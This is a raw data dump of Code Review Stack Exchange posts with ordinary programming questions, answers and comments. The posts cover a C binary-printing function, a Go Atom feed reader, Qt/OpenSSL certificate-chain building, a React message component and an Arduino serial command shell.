"body": "@TobySpeight: I added an update with *differential* instruction counts; it costs about 3065 or 3095 to call PRINT_AS_BINARY a 2nd time in the same program, so ~50 instructions out of *that* is closer to the figure of merit (not out of the whole program of course). Still a joke how many it takes for printf; plain scalar compiled C could format into buffer in easily under 300 instructions with just one `write` syscall, or one fwrite or fputs. Or by hand I could probably do it in 20 to 40 with AVX2 for a hard-coded 4-byte format. :P"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T22:24:46.740",
"Id": "513535",
"Score": "0",
"body": "As you said, the initial idea was to make the function simple, even \"dumb\". I totally don't think obfuscating it with tricks (Which I could use) provides a very good surface for learning. Simple is good, less is more, as it is in the Unix Philosophy. It is often better to break subject into many smaller subjects (or problems). For this very reason, I don't think the `'0' + 1` idea is to be applicable."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T22:27:08.040",
"Id": "513536",
"Score": "0",
"body": "Good notes for the performance. In other circumstances I would care a lot myself. I used to program in ancient C89 interpreted environments and it was all just me, doing what I would now call premature optimizations constantly. In my class optimization is handled as a separate advancement from generic programming though :D"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T23:45:45.097",
"Id": "513540",
"Score": "0",
"body": "@Edenia: Sure, up to you which concepts you consider basic. I don't have to teach total beginners myself, so the code in my answer is what I'd consider natural ways of thinking *for me*, who spends all day optimizing / looking at assembly language. I'll let you pick which ideas are still simple / good through your lens. IMO, some optimizations are hard to come up with, but once spotted are easy to understand and verify correctness, like `format=...`. It's unfortunate that C can't guarantee `'a' + 1 == 'b'`, otherwise that, too, would be a good general idea to teach."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T00:38:51.017",
"Id": "513543",
"Score": "0",
"body": "If you ever have free time and are up for interesting challenges, since you are obviously quite potent in optimizations, let me know. I can suggest you place and task that requires a lot of trickery, creativity, optimization and thinking out of the box to produce decent output."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T00:49:28.550",
"Id": "513544",
"Score": "0",
"body": "@Edenia: If you want to post it as a SO question where the results might be useful to everyone in future, that might be interesting. (or possibly a codegolf.SE fastest-code challenge, let me know if you do). Otherwise, I already have a backlog of compiler missed-optimization bugs to submit, and/or glibc patches, and other open-source projects that I've been meaning to contribute to if I can ever finish all the SO answers I've started writing... >.<"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T00:58:41.420",
"Id": "513545",
"Score": "0",
"body": "AFAIK, such a thing doesn't belong in SO :/\nEither way, I hope you are giving yourself some rest. What I was talking about is an old engine for game development that supports C89 scripting. Nothing there is hardware-accelerated. If you try to draw a lot with drawing functions `putpixel(), lineto()` the FPS goes down significantly, but I've managed to create optimized image renderer there."
}
],
"meta_data": {
"CommentCount": "16",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T04:17:48.340",
"Id": "260147",
"ParentId": "260111",
"Score": "3"
}
},
{
"body": "<p>Many good ideas already covered by others. Some additional ones:</p>\n<p><strong>Literals</strong></p>\n<blockquote>\n<p>it goes with a macro for easier use: #define BINARY(x) binary(&x, sizeof x) and the obvious disadvantage that it expects a variable and not cannot work with literals.</p>\n</blockquote>\n<p>OP's conclusion is incorrect. C has only 2 <em>literals</em>: <em>string literals</em> and <em>compund literals</em>. Macro works fine. Perhaps OP was thinking of <em>constants</em>.</p>\n<p><strong>Size first?</strong></p>\n<p>If you want to move toward the new <a href=\"https://en.wikipedia.org/wiki/C2x#Features\" rel=\"nofollow noreferrer\">C2x principle</a>, consider <code>void binary(size_t nBytes, const void* p)</code>.</p>\n<p><strong>Lots of I/O calls</strong></p>\n<p>To reduce I/O call overhead by 10x, form a buffer and print that.</p>\n<p><strong>Return info</strong></p>\n<p>Like other output functions, consider returning the error status.</p>\n<p><strong>More distinctive function name</strong></p>\n<hr />\n<p>Putting that together:</p>\n<pre><code>#include <limits.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Return 0 on success, else EOF\nint binary_print(size_t nBytes, const void* p) {\n const unsigned char *uc = p;\n // [ 01....10 ] \\0\n char buf[1 + CHAR_BIT + 1 + 1];\n buf[0] = '[';\n buf[1 + CHAR_BIT] = ']';\n buf[1 + CHAR_BIT + 1] = '\\0';\n\n while (nBytes-- > 0) {\n unsigned value = *uc++;\n for (int index = CHAR_BIT; index > 0; index--) {\n buf[index] = (char) ('0' + (value & 1u));\n value >>= 1;\n }\n if (fputs(buf, stdout) == EOF) {;\n return EOF;\n }\n }\n return putchar('\\n') == EOF ? EOF : 0;\n}\n\n#define BINARY(x) binary_print(sizeof x, &x)\n\nint main() {\n printf("%d\\n", binary_print(0,0));\n printf("%d\\n", BINARY("Hello"));\n printf("%d\\n", BINARY((int){42}));\n printf("%d\\n", BINARY((double){1.0}));\n}\n</code></pre>\n<p>Output</p>\n<pre><code>(empty line)\n0\n[01001000][01100101][01101100][01101100][01101111][00000000]\n0\n[00101010][00000000][00000000][00000000]\n0\n[00000000][00000000][00000000][00000000][00000000][00000000][11110000][00111111]\n0\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T00:28:22.680",
"Id": "513542",
"Score": "0",
"body": "Nice, that's more like what I was hoping mine would look like when I started writing it. And yeah, doing to formatting yourself is going to be *significantly* more efficient than letting printf loose on it. Compiling the same way as my answer, with just `BINARY((int){42})` (no printf from main), I get ~44232 x86-64 instructions executed, and with another BINARY(int) the total instruction count goes up by about 1336. So it's less than half as many user-space instructions than my version using printf the same way yours uses fputs, even with line-buffered output flushing stdio every line."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:54:56.957",
"Id": "260166",
"ParentId": "260111",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "260118",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T10:14:29.953",
"Id": "260111",
"Score": "6",
"Tags": [
"c",
"converting",
"unit-conversion",
"binary"
],
"Title": "Bytes to binary conversion function"
}
|
260111
|
<p>I'm a beginner trying to get a better understanding of golang so I decided to write an atom feeder that runs from the terminal.</p>
<p>I am using the <a href="https://github.com/mmcdole/gofeed" rel="nofollow noreferrer">gofeed</a> library to parse the atom feeds and the <a href="https://github.com/rivo/tview" rel="nofollow noreferrer">tview</a> library to make the terminal ui.</p>
<p>I would like to get some advice on better ways to separate my code from these libraries so its easier to unit test, without having to use a mocking library. Any comments on the code in general would be appreciated.</p>
<p>I've included the three functions that do most of the work, the complete code is on <a href="https://github.com/barryodev/clacks" rel="nofollow noreferrer">github</a>.</p>
<pre><code>
func main() {
// init threadsafe feed data
safeFeedData = &SafeFeedData{feedData: make(map[string]FeedDataModel)}
// init ui elements
app = tview.NewApplication()
feedList = tview.NewList().ShowSecondaryText(false)
feedList.SetBorder(true).SetTitle("Feeds")
feedList.AddItem("Fetching Feed Data", "", 0, nil)
entriesList = tview.NewList().ShowSecondaryText(false)
entriesList.SetBorder(true).SetTitle("Entries")
entriesList.AddItem("Fetching Feed Data", "", 0, nil)
entryTextView = tview.NewTextView().
SetChangedFunc(func() {
app.Draw()
})
entryTextView.SetBorder(true)
entryTextView.SetTitle("Description")
entryTextView.SetText("Fetching Feed Data")
// set up flex layout
flex := tview.NewFlex().
AddItem(feedList, 0, 1, false).
AddItem(tview.NewFlex().SetDirection(tview.FlexRow).
AddItem(entriesList, 0, 1, false).
AddItem(entryTextView, 0, 2, false), 0, 2, false)
// async call to load feed data
go loadAllFeedDataAndUpdateInterface()
// call to run tview app
if uiError := app.SetRoot(flex, true).SetFocus(feedList).Run(); uiError != nil {
panic(uiError)
}
}
// This will run asynchronously to fetch atom feeds and load the data into the interface
func loadAllFeedDataAndUpdateInterface() {
var configError error
allFeeds, configError = loadJsonConfig()
if configError != nil {
panic(configError)
}
for i := 0; i < len(allFeeds.Feeds); i++ {
feedData, atomFeedError := loadFeedData(allFeeds.Feeds[i].URL)
if atomFeedError != nil {
panic(atomFeedError)
} else {
safeFeedData.setSiteData(allFeeds.Feeds[i].URL, feedData)
}
}
// Using QueueUpdateDraw as its a threadsafe way to update tview primitives
app.QueueUpdateDraw(func() {
feedList.Clear()
// add items to feed list
for _, feed := range allFeeds.Feeds {
feedData := safeFeedData.GetEntries(feed.URL)
feedList.AddItem(feedData.name, feed.URL, 0, func() {
// handle user selecting item by moving focus to entry list
app.SetFocus(entriesList)
})
}
// handle user changing selected feed item by loading entries list
feedList.SetChangedFunc(func(i int, feedName string, url string, shortcut rune) {
loadEntriesIntoList(url)
})
// handle user changing selected item of entries list by loading entry text view
entriesList.SetChangedFunc(func(i int, entryName string, secondaryText string, shortcut rune) {
loadEntryTextView(i)
})
// when user hits escape in entries list, move focus back to feed list
entriesList.SetDoneFunc(func() {
app.SetFocus(feedList)
})
// load initial state of interface
loadEntriesIntoList(getSelectedFeedUrl())
//make sure there's at least one entry in selected
if len(safeFeedData.GetEntries(getSelectedFeedUrl()).entries) > 0 {
loadEntryTextView(0)
}
})
}
// loadFeedData use gofeed library to load data from atom feed
func loadFeedData(url string) (FeedDataModel, error) {
fp := gofeed.NewParser()
fp.UserAgent = "Clacks - Terminal Atom Reader"
feedData, err := fp.ParseURL(url)
if err != nil {
return FeedDataModel{}, errors.New("Error processing atom feed: " + err.Error())
}
if len(feedData.Items) > 0 {
feedName := feedData.Title
entrySlice := make([]Entry, len(feedData.Items))
for i, item := range feedData.Items {
entrySlice[i] = Entry{
title: html.UnescapeString(strip.StripTags(item.Title)),
content: strings.TrimSpace(html.UnescapeString(strip.StripTags(item.Description))),
}
}
return FeedDataModel{name: feedName, entries: entrySlice}, nil
}
return FeedDataModel{}, nil
}
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T10:42:02.363",
"Id": "260113",
"Score": "2",
"Tags": [
"beginner",
"unit-testing",
"go",
"mocks"
],
"Title": "A terminal based atom feed reader written in golang"
}
|
260113
|
<p>This is my solution to a <a href="https://stackoverflow.com/questions/67266356/caclulate-certificate-chain-from-leaf-and-pool">question I asked on stackoverflow</a>.</p>
<p>The scenario is as follows: I got my X509 certificate and a pool of other X509 certificates. Now I want to calculate the chain of trust, starting from my certificate based on the pool.</p>
<p>I realized that I can use openSSL in addition to Qt in the project, after digging in the deeps of their documentation, I came up with the following solution. I am a bit concerned that I get memory leaks somewhere. Also, and this might be the most critical part, I don't know if I used the <code>flag</code> paramter for the <code>SSL_CTX_build_cert_chain</code> call correctly.</p>
<p>Btw I also asked for the theoretical background how such a chain is calculated in general (based on the subject and issuer, what fields have to match, e.g. only common name?), so if you know the answer, head over there and share it please :)!</p>
<p>Finally, here is my code:</p>
<pre><code>QList< QSslCertificate > buildSslChain(const QSslCertificate &leaf, const QList< QSslCertificate > &pool) {
QList< QSslCertificate > chain;
if (leaf.isNull()) {
return chain;
}
chain << leaf;
if (pool.isEmpty()) {
return chain;
}
// Convert the leaf to der format and create an openssl x509 from it
QByteArray qbaLeaf = leaf.toDer();
int maxDerSize = qbaLeaf.size();
BIO *mem = BIO_new_mem_buf(qbaLeaf.data(), maxDerSize);
Q_UNUSED(BIO_set_close(mem, BIO_NOCLOSE));
X509 *leaf_x509 = d2i_X509_bio(mem, nullptr);
BIO_free(mem);
// Prepare a ssl context, the method should not matter, so just go with TLS_method()
SSL_CTX *ctx = SSL_CTX_new(TLS_method());
// Add the leaf
SSL_CTX_use_certificate(ctx, leaf_x509);
// Construct openssl x509 for the pool and add each to the ctx
foreach (const QSslCertificate &cert, pool) {
QByteArray qbaCert = cert.toDer();
int s = qbaCert.size();
maxDerSize = maxDerSize < s ? s : maxDerSize;
BIO *mem = BIO_new_mem_buf(qbaCert.data(), s);
Q_UNUSED(BIO_set_close(mem, BIO_NOCLOSE));
X509 *x509 = d2i_X509_bio(mem, nullptr);
BIO_free(mem);
SSL_CTX_add0_chain_cert(ctx, x509);
}
// Do the actual chain building
int flags = SSL_BUILD_CHAIN_FLAG_CHECK | SSL_BUILD_CHAIN_FLAG_IGNORE_ERROR; // Am I using the correct flags?!
int ret = SSL_CTX_build_cert_chain(ctx, flags);
// Check if we were succesfull, since we use the SSL_BUILD_CHAIN_FLAG_IGNORE_ERROR flag
// 2 is a acceptable return value, too
if (ret == 1 || ret == 2) {
// Retrieve the chain
STACK_OF(X509) *stack = nullptr;
SSL_CTX_get0_chain_certs(ctx, &stack);
// Copy the chain back to qt
// Instead of allocating a new buffer every time i2d_X509 is called, we allocate a shared buffer
// and because we know the maxDerSize, we konw how big this needs to be
unsigned char *buffer = (unsigned char *) malloc(maxDerSize);
while (sk_X509_num(stack) > 0) {
X509 *next = sk_X509_shift(stack);
int actualSize = i2d_X509(next, &buffer);
X509_free(next);
if (actualSize == -1) {
// Failed to der encode certificate in openssl
chain.clear();
break;
}
// i2d_X509 altered our buffer pointer, so we need to set it back manually
buffer -= actualSize;
QByteArray array = QByteArray::fromRawData((char *) buffer, actualSize);
QList< QSslCertificate > ql = QSslCertificate::fromData(array, QSsl::EncodingFormat::Der);
if (ql.size() == 1) {
chain << ql;
} else {
// Data from openssl must contain exactly one certificate!
chain.clear();
break;
}
}
// Clean up
free(buffer);
} else {
chain.clear();
}
// pool certificates where added with add0 option (not add1),
// so they will automatically be freed if the ctx is freed.
// Same for the stack, which was obtain with the set0 verison.
SSL_CTX_free(ctx);
X509_free(leaf_x509);
// Drain OpenSSL's per-thread error queue
// to ensure that errors from the operations
// we've done in here do not leak out into
// Qt's SSL module.
//
// If an error leaks, it can break all connections
// to the server because each invocation of Qt's SSL
// read callback checks OpenSSL's per-thread error
// queue (albeit indirectly, via SSL_get_error()).
// Qt expects any errors returned from SSL_get_error()
// to be related to the QSslSocket it is currently
// processing -- which is the obvious thing to expect:
// SSL_get_error() takes a pointer to an SSL object
// and the return code of the failed operation.
// However, it is also documented as:
//
// "In addition to ssl and ret, SSL_get_error()
// inspects the current thread's OpenSSL error
// queue."
//
// So, if any OpenSSL operation on the main thread
// forgets to clear the error queue, those errors
// *will* leak into other things that *do* error
// checking. In our case, into Qt's SSL read callback,
// resulting in all clients being disconnected.
ERR_clear_error();
return chain;
}
</code></pre>
<p>Edit: I realized that it should probably be <code>sk_X509_shift</code> instead of <code>sk_X509_pop</code> so I changed that.</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T11:07:35.803",
"Id": "260115",
"Score": "1",
"Tags": [
"c++",
"qt",
"openssl"
],
"Title": "Use OpenSSL and Qt to build the correct X509 certificate chain based on a pool and a leaf"
}
|
260115
|
<p>In this react component I'm trying to display one message on the screen at a time. This message has a 'bold' substring in it which should be accounted for. There's 2 endpoints here,</p>
<ul>
<li><p><code>message</code> to retrieve a message, and</p>
</li>
<li><p><code>bold</code> which retrieves what is bold (with <code>start</code> and <code>end</code> keys to a substring) about the <code>message</code> passed in as a parameter</p>
</li>
</ul>
<p>I tried to optimize for user experience by always having two messages available, so that when the user clicks 'next', there already is a message to display and no waiting time. These are <code>currentMessage</code> and <code>nextMessage</code>.</p>
<p>I used two useState hooks as I found looping inside of a useEffect hook while fetching to be somewhat complicated. Would still love to be able to do that.</p>
<p>Moreover, I have used two useEffects. The first is simply run once, to get the initial message, and the other is run when the page renders and then every time the user clicks 'next'. When a user clicks next, that's when the app swaps the current message for the one which was in the 'queue'</p>
<pre><code>const MessageBox = () => {
const [message, setCurrentMessage] = useState("");
const [bold, setCurrentBold] = useState("");
const [nextMessage, setNextMessage] = useState("");
const [nextBold, setNextBold] = useState("");
const [isGettingMessage, setIsGettingMessage] = useState(true);
useEffect(() => {
fetch(`https://myapi.com/message`)
.then((res) => res.json())
.then((res) => {
if (res.data) {
setCurrentMessage(res.data.message);
getBold(res.data.message, setCurrentBold);
} else {
console.log("handle err");
}
});
}, []);
useEffect(() => {
if (!isGettingMessage) return;
fetch(`https://myapi.com/message`)
.then((res) => res.json())
.then((res) => {
if (res.data) {
setNextMessage(res.data.message);
getBold(res.data.message, setNextBold);
} else {
console.log("handle err");
}
});
setIsGettingMessage(false);
}, [isGettingMessage]);
const getBold = (message, boldSetter) => {
if (!message) return;
fetch(`https://myapi.com/bold`, {
method: "POST",
headers: { "Content-type": "application/json" },
body: JSON.stringify({ content: message }),
})
.then((res) => res.json())
.then((res) => {
if (res?.data?.bold.length) {
boldSetter(res.data.bold);
return;
} else if (res.error) {
console.log("handle err");
}
boldSetter("");
});
};
const formatMessageAndBold = () => {
if (message && bold) {
return boldMessage;
} else if (message && !bold) {
return <span>{message}</span>;
}
};
const boldMessage = useMemo(
() => (
<p>
<span>{message.substring(0, bold.start)}</span>
<strong>{message.substring(bold.start, bold.end)}</strong>
<span>{message.substring(bold.end)}</span>
</p>
),
[message, bold.start, bold.end]
);
const messageAndBold = formatMessageAndBold();
const onClick = () => {
if (isGettingMessage) return;
setIsGettingMessage(true);
setCurrentMessage(nextMessage);
setCurrentBold(nextBold);
};
return (
<div>
{messageAndBold}
<button isLoading={nextMessage === message || !message} onClick={onClick}>
{message ? "Next Message" : "Loading..."}
</button>
</div>
);
};
export default MessageBox;
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<p><em>note: this took me longer then I expected and there may be some syntax errors, but contains the general idea</em></p>\n<p>Once your component starts having complex logic, it's a good indication to start breaking it up.</p>\n<p>Here I propose putting your logic in some different files:</p>\n<ul>\n<li><code>constants.js</code></li>\n<li><code>helpers.js</code></li>\n<li><code>hooks.js</code></li>\n<li><code>MessageBox.js</code></li>\n</ul>\n<p>Notably, in <code>hooks.js</code> I would create a few custom hooks to handle your logic.</p>\n<ul>\n<li><code>useQueryFullMessage</code> - handles fetching a message + a bold and returning the result</li>\n<li><code>useFullMessage</code> - uses <code>useQueryFullMessage</code> twice to get two full messages and handles the logic on preloading the next full message.</li>\n</ul>\n<p>This is a possible abstraction (among many) you can use.</p>\n<p>I also don't believe that <code>useMemo</code> is required in this situation... unless you're going to be loading many messages. React by default is already pretty optmized.</p>\n<pre><code>//constants.js\nconst API_MESSAGE_URL = 'https://myapi.com/message';\nconst API_BOLD_URL = 'https://myapi.com/bold';\n\n//helpers.js\nimport { API_MESSAGE_URL, API_BOLD_URL } from './constants';\n\nconst getMessage = async () => {\n const res = await fetch(API_MESSAGE_URL);\n const {data} = await res.json() ?? {};\n return data?.message;\n}\n\nconst getBold = async (message) => {\n\n const res = await fetch(API_BOLD_URL, {\n method: "POST",\n headers: { "Content-type": "application/json" },\n body: JSON.stringify({ content: message }),\n });\n const {data} = await res.json() ?? {};\n return data?.bold;\n}\n\nexport const getFullMessage = async () => {\n const message = await getMessage();\n if(!message) {\n // handle error\n return {};\n }\n const bold = await getBold(message);\n if(!bold) {\n // handle error\n }\n return { \n message,\n bold\n };\n}\n\n//hooks.js\nimport { getFullMessage } from './helpers';\n\nconst useQueryFullMessage = () => {\n const [fullMessaage, setFullMessage] = useState();\n const [loading, setLoading] = useState(true);\n const [preloadNextValue, togglePreloadNext] = useState(0);\n useEffect(async () => {\n if(!loading) {\n setLoading(true);\n }\n const fullMessage = await getFullMessage();\n // handle if bold not set\n setFullMessage(fullMessage);\n setLoading(false);\n }, [preloadNextValue]);\n\n return {\n fullMessage,\n loading,\n preloadNext: () => togglePreloadNext(preloadNextValue + 1),\n setFullMessage,\n }\n}\n\nexport const useFullMessage = () => {\n const {\n fullMessage: currentFullMessage,\n loading: loadingCurrentFullMessage,\n setFullMessage: setCurrentFullMessage\n } = useQueryFullMessage();\n const {\n fullMessage: nextFullMessage,\n loading: loadingNextFullMessage,\n preloadNext\n } = useQueryFullMessage();\n\n const requestNextMessage = () => {\n if(loadingCurrentFullMessage || loadingNextFullMessage) {\n return;\n }\n setCurrentFullMessage(nextFullMessage);\n preloadNext();\n }\n\n return {\n currentFullMessage,\n loadingCurrentFullMessage,\n nextFullMessage,\n loadingNextFullMessage,\n requestNextMessage\n };\n}\n\n// MessageBox.js\nimport { useFullMesage } from './hooks';\nconst MessageBox = () => {\n const {\n currentFullMessage,\n loadingCurrentFullMessage,\n nextFullMessage,\n loadingNextFullMessage,\n requestNextMessage\n } = useFullMessage();\n\n const { message, bold } = fullMessage;\n // TODO: check if message and bold are set.\n\n const formatMessageAndBold = () => {\n if (message && bold) {\n return <p>\n <span>{message.substring(0, bold.start)}</span>\n <strong>{message.substring(bold.start, bold.end)}</strong>\n <span>{message.substring(bold.end)}</span>\n </p>;\n } else if (message && !bold) {\n return <span>{message}</span>;\n }\n };\n\n return (\n <div>\n {loadingCurrentFullMessage ? "Loading..." : formatMessageAndBold()}\n <button isLoading={loadingNextFullMessage} onClick={requestNextMessage}>\n {!loadingNextFullMessage ? "Next Message" : "Loading..."}\n </button>\n </div>\n );\n}\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T22:56:16.193",
"Id": "260140",
"ParentId": "260120",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260140",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T12:53:25.677",
"Id": "260120",
"Score": "1",
"Tags": [
"javascript",
"react.js",
"api"
],
"Title": "Query messages and 'bold' part of a message. Show one query at a time but get the next query in advance for better user experience"
}
|
260120
|
<h2>Goal</h2>
<p>I needed to interact with microcontrollers (<a href="https://en.wikipedia.org/wiki/ESP8266" rel="nofollow noreferrer">ESP8266</a> & <a href="https://en.wikipedia.org/wiki/ESP32" rel="nofollow noreferrer">ESP32</a>) via the Serial interface, so I wrote a small interactive shell with the <a href="https://en.wikipedia.org/wiki/Command_pattern" rel="nofollow noreferrer">command pattern</a>.</p>
<p>The defined commands can either accept no parameter or one int32 parameter.</p>
<p>The API should be clear and easy to use, the code should only rely on <code>Arduino.h</code>, and data should not be stored in the heap, in order to <a href="https://learn.adafruit.com/memories-of-an-arduino/optimizing-sram" rel="nofollow noreferrer">avoid fragmentation</a>.</p>
<h2>Code</h2>
<p>The complete code is available on this <a href="https://github.com/EricDuminil/arduino_interactive_shell" rel="nofollow noreferrer">GitHub repository</a>.</p>
<h3>Header</h3>
<p>The <code>command_invoker.h</code> header is:</p>
<pre><code>#ifndef COMMAND_INVOKER_H_INCLUDED
#define COMMAND_INVOKER_H_INCLUDED
#include <Arduino.h>
#define MAX_COMMAND_SIZE 30
/** Other scripts can use this invoker, in order to define commands, via callbacks.
* Those callbacks can then be used to send commands to the sensor (e.g. reset, calibrate, night mode, ...)
* The callbacks can either have no parameter, or one int32_t parameter.
*/
namespace command_invoker {
void defineCommand(const char *name, void (*function)(void), const __FlashStringHelper *doc_fstring);
void defineIntCommand(const char *name, void (*function)(int32_t), const __FlashStringHelper *doc_fstring);
void execute(const char *command_line);
}
#endif
</code></pre>
<h3>Library</h3>
<p>the corresponding <code>command_invoker.cpp</code> is:</p>
<pre><code>#include "command_invoker.h"
namespace command_invoker {
const uint8_t MAX_COMMANDS = 20;
uint8_t commands_count = 0;
struct Command {
const char *name;
union {
void (*intFunction)(int32_t);
void (*voidFunction)(void);
};
const char *doc;
bool has_parameter;
};
Command commands[MAX_COMMANDS];
//NOTE: Probably possible to DRY (with templates?)
void defineCommand(const char *name, void (*function)(void), const __FlashStringHelper *doc_fstring) {
const char *doc = (const char*) doc_fstring;
if (commands_count < MAX_COMMANDS) {
commands[commands_count].name = name;
commands[commands_count].voidFunction = function;
commands[commands_count].doc = doc;
commands[commands_count].has_parameter = false;
commands_count++;
} else {
Serial.println(F("Too many commands have been defined."));
}
}
void defineIntCommand(const char *name, void (*function)(int32_t), const __FlashStringHelper *doc_fstring) {
const char *doc = (const char*) doc_fstring;
if (commands_count < MAX_COMMANDS) {
commands[commands_count].name = name;
commands[commands_count].intFunction = function;
commands[commands_count].doc = doc;
commands[commands_count].has_parameter = true;
commands_count++;
} else {
Serial.println(F("Too many commands have been defined."));
}
}
/*
* Tries to split a string command (e.g. 'mqtt 60' or 'show_csv') into a function_name and an argument.
* Returns 0 if both are found, 1 if there is a problem and 2 if no argument is found.
*/
uint8_t parseCommand(const char *command, char *function_name, int32_t &argument) {
char split_command[MAX_COMMAND_SIZE];
strlcpy(split_command, command, MAX_COMMAND_SIZE);
char *arg;
char *part1;
part1 = strtok(split_command, " ");
if (!part1) {
Serial.println(F("Received empty command"));
// Empty string
return 1;
}
strlcpy(function_name, part1, MAX_COMMAND_SIZE);
arg = strtok(NULL, " ");
uint8_t code = 0;
if (arg) {
char *end;
argument = strtol(arg, &end, 10);
if (*end) {
// Second argument isn't a number
code = 2;
}
} else {
// No argument
code = 2;
}
return code;
}
int compareCommandNames(const void *s1, const void *s2) {
struct Command *c1 = (struct Command*) s1;
struct Command *c2 = (struct Command*) s2;
return strcmp(c1->name, c2->name);
}
void listAvailableCommands() {
qsort(commands, commands_count, sizeof(commands[0]), compareCommandNames);
for (uint8_t i = 0; i < commands_count; i++) {
Serial.print(" ");
Serial.print(commands[i].name);
Serial.print(commands[i].doc);
Serial.println(".");
}
}
/*
* Tries to find the corresponding callback for a given command. Name and number of arguments should fit.
*/
void execute(const char *command_line) {
char function_name[MAX_COMMAND_SIZE];
int32_t argument = 0;
bool has_argument;
has_argument = (parseCommand(command_line, function_name, argument) == 0);
for (uint8_t i = 0; i < commands_count; i++) {
if (!strcmp(function_name, commands[i].name) && has_argument == commands[i].has_parameter) {
Serial.print(F("Calling : "));
Serial.print(function_name);
if (has_argument) {
Serial.print(F("("));
Serial.print(argument);
Serial.println(F(")"));
commands[i].intFunction(argument);
} else {
Serial.println(F("()"));
commands[i].voidFunction();
}
return;
}
}
Serial.print(F("'"));
Serial.print(command_line);
Serial.println(F("' not supported. Available commands :"));
listAvailableCommands();
}
}
</code></pre>
<h3>Sketch</h3>
<p>Finally, here is a Arduino sketch in order to use this library:</p>
<pre><code>/***************************************************************************************************
* Small interactive shell via Serial interface for ESP32 and ESP8266, based on the command pattern.
***************************************************************************************************/
#include "command_invoker.h"
/**
* Some example functions, which could be defined in separate libraries.
*/
void multiplyBy2(int32_t x) {
Serial.print(x);
Serial.print(" * 2 = ");
Serial.println(2 * x);
}
void controlLED(int32_t onOff) {
digitalWrite(LED_BUILTIN, onOff);
}
/**
* Setup
*/
void setup() {
Serial.begin(115200);
pinMode(LED_BUILTIN, OUTPUT);
// Define commands. Could be done in separate libraries (e.g. MQTT, LoRa, Webserver, ...)
command_invoker::defineIntCommand("led", controlLED, F(" 1/0 (LED on/off)"));
command_invoker::defineIntCommand("double", multiplyBy2, F(" 123 (Doubles the input value)"));
// Commands can also be created with lambdas.
command_invoker::defineCommand("reset", []() {
ESP.restart();
}, F(" (restarts the microcontroller)"));
// Simple example. Turn LED on at startup.
command_invoker::execute("led 1");
Serial.println(F("Console is ready!"));
Serial.print(F("> "));
}
/*
* Saves bytes from Serial.read() until enter is pressed, and tries to run the corresponding command.
* http://www.gammon.com.au/serial
*/
void processSerialInput(const byte input_byte) {
static char input_line[MAX_COMMAND_SIZE];
static unsigned int input_pos = 0;
switch (input_byte) {
case '\n': // end of text
Serial.println();
input_line[input_pos] = 0;
command_invoker::execute(input_line);
input_pos = 0;
Serial.print(F("> "));
break;
case '\r': // discard carriage return
break;
case '\b': // backspace
if (input_pos > 0) {
input_pos--;
Serial.print(F("\b \b"));
}
break;
default:
// keep adding if not full ... allow for terminating null byte
if (input_pos < (MAX_COMMAND_SIZE - 1)) {
input_line[input_pos++] = input_byte;
Serial.print((char) input_byte);
}
break;
}
}
/**
* Loop and wait for serial input. Commands could also come from webserver or MQTT, for example.
*/
void loop() {
while (Serial.available() > 0) {
processSerialInput(Serial.read());
}
delay(50);
}
</code></pre>
<h2>Usage</h2>
<p>It's now possible to send commands directly in PlatformIo monitor or in Arduino IDE Serial Monitor:</p>
<pre><code>Console is ready!
> test
'test' not supported. Available commands :
double 123 (Doubles value).
led 1/0 (LED on/off).
reset (restarts the microcontroller).
> led 1
Calling : led(1)
> led 0
Calling : led(0)
> double 12345
Calling : double(12345)
12345 * 2 = 24690
> double
'double' not supported. Available commands :
double 123 (Doubles value).
led 1/0 (LED on/off).
reset (restarts the microcontroller).
> reset
Calling : reset()
</code></pre>
<h2>Questions</h2>
<p>This library works fine, but I'm still a C/C++ beginner and would appreciate <em>any</em> feedback.</p>
<p>In particular, I'd be happy to :</p>
<ul>
<li>remove the duplicate code in <code>defineCommand</code> and <code>defineIntCommand</code></li>
<li>allow commands to have a string argument</li>
<li>allow commands to have a specific numerical argument (e.g. a <code>bool</code> or a <code>uint8_t</code> and not just a cast <code>int32_t</code>)</li>
<li>be sure there is no buffer overflow anywhere</li>
<li>use as little memory as possible.</li>
</ul>
<p>Sadly, many good C++ suggestions (e.g. with <code>std::string</code>, <code>std::vector</code> or <code>std::map</code>) don't seem to apply to this project, because the data types are not available on Arduino. That's why the code might look more like C than C++.</p>
|
[] |
[
{
